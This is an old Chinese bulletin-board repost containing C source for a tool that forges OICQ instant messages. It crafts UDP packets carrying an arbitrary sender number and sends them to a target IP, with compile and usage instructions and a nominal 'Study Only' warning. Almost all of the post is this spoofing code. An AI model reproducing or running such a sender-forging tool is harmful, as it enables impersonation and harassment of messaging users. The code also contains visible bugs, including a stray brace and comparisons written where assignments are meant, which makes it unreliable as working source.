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<hr><p align="left"><small>oicq.c(水木清华, microcat) <br>
---------------------------------------------------------------------------- <br>
---- <br>
cloudsky 于 00-4-19 12:25:45 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统 <br>
安全： <br>
发信人: microcat (microcat), 信区: Hacker <br>
标 题: oicq.c <br>
发信站: BBS 水木清华站 (Tue Apr 18 19:30:15 2000) <br>
/* <br>
* Anonymous OICQ Message Sender, by microcat, 2000-04-18 <br>
* Compile: gcc -o oicq oicq.c -lsocket -lnsl <br>
* Usage: oicq -h Dest_IP -o OICQ_number -s SerianNo(10-255) -m Message <br>
* WARNING: Study Only! <br>
*/ <br>
#include <stdio.h> <br>
#include <sys/socket.h> <br>
#include <sys/types.h> <br>
#include <netdb.h> <br>
#include <time.h> <br>
#define DEF_PORT 4000 <br>
#define DEF_MSG "自动消息机测试" <br>
#define DEF_OICQ "100001" <br>
#define DEF_SERIAL 27 <br>
struct OICQ_head <br>
{ <br>
int o_ver; <br>
char o_type1; <br>
char o_type2; <br>
char o_serial; <br>
}; <br>
void usage(char* name) <br>
{ <br>
fprintf(stderr,"Anonymous OICQ Message Sender, by microcat, <br>
2000-04-18\n"); <br>
fprintf(stderr,"Usage: %s -h Dest_IP -o OICQ_number -s Seria <br>
nNo(10-255) -m Message\n",name); <br>
exit(-1); <br>
} <br>
int connUDP(char* host) <br>
{ <br>
int s; <br>
struct sockaddr_in src,dest; <br>
struct hostent * hp; <br>
if( (s=socket(AF_INET,SOCK_DGRAM,0)) < 0 ) <br>
{ <br>
{ <br>
perror("socket"); <br>
exit(-1); <br>
} <br>
bzero(&src, sizeof(src)); <br>
src.sin_family = AF_INET; <br>
src.sin_port = htons(DEF_PORT); <br>
src.sin_addr.s_addr = htonl(INADDR_ANY); <br>
if( bind(s,(struct sockaddr*)&src,sizeof(src)) < 0 ) <br>
{ <br>
perror("bind"); <br>
exit(-1); <br>
} <br>
bzero(&dest, sizeof(dest)); <br>
dest.sin_family = AF_INET; <br>
dest.sin_port = htons(DEF_PORT); <br>
if ((hp = gethostbyname(host)) == NULL) <br>
{ <br>
if ((dest.sin_addr.s_addr = inet_addr(host)) == -1) <br>
{ <br>
fprintf(stderr, "%s: unknown host\n", host); <br>
exit(-1); <br>
} <br>
} <br>
} <br>
else <br>
{ <br>
memcpy(&dest.sin_addr,hp->h_addr,hp->h_length); <br>
} <br>
connect(s,(struct sockaddr*)&dest,sizeof(dest)); <br>
return s; <br>
} <br>
int sendMsg(int sock,unsigned char serial,char* number,char* msg) <br>
{ <br>
char* buf = NULL; <br>
char* ptr = NULL; <br>
time_t t = time(NULL); <br>
struct OICQ_head* oh = NULL; <br>
size_t len = sizeof(struct OICQ_head) + strlen(number) + 26 + strlen <br>
(msg); <br>
if( (buf=(char*)malloc(len)) == (char*)NULL ) <br>
return(-1); <br>
ptr = buf; <br>
oh = (struct OICQ_head*)ptr; <br>
oh->o_ver = 0x02010700; <br>
oh->o_type1 = 0x78; <br>
oh->o_type2 = 0x02; <br>
oh->o_serial = serial; <br>
ptr+=sizeof(struct OICQ_head)-1; <br>
memcpy(ptr,number,strlen(number)); <br>
ptr+=strlen(number); <br>
strftime(ptr,26,"\0370\03766\037%Y-%m-%d\037%T",localtime(&t)); <br>
//faint! strftime将\0也写进去 <br>
ptr+=25; <br>
*ptr = '\037'; <br>
memcpy(++ptr,msg,strlen(msg)); <br>
ptr+=strlen(msg); <br>
*ptr = 0x03; <br>
return write(sock,buf,len);; <br>
} <br>
int main(int argc,char** argv) <br>
{ <br>
int s; <br>
char* host = NULL; <br>
char* oicq = NULL; <br>
unsigned char serial; <br>
char* msg = NULL; <br>
char c; <br>
while( (c=getopt(argc,argv,"h:o:s:m:")) != EOF ) <br>
{ <br>
switch( c ) <br>
{ <br>
case 'h': <br>
host = optarg; <br>
break; <br>
case 'o': <br>
oicq = optarg; <br>
break; <br>
case 's': <br>
serial = atoi(optarg); <br>
break; <br>
case 'm': <br>
msg = optarg; <br>
break; <br>
} <br>
} <br>
if( host == NULL ) <br>
usage(argv[0]); <br>
if( oicq == NULL ) <br>
oicq = DEF_OICQ; <br>
if( serial == NULL ) <br>
serial == DEF_SERIAL; <br>
if( msg == NULL ) <br>
msg == DEF_MSG; <br>
s = connUDP(host); <br>
if( sendMsg(s,serial,oicq,msg) < 0 ) <br>
{ <br>
perror("sendMsg"); <br>
close(s); <br>
exit(-1); <br>
} <br>
close(s); <br>
exit(0); <br>
} <br>
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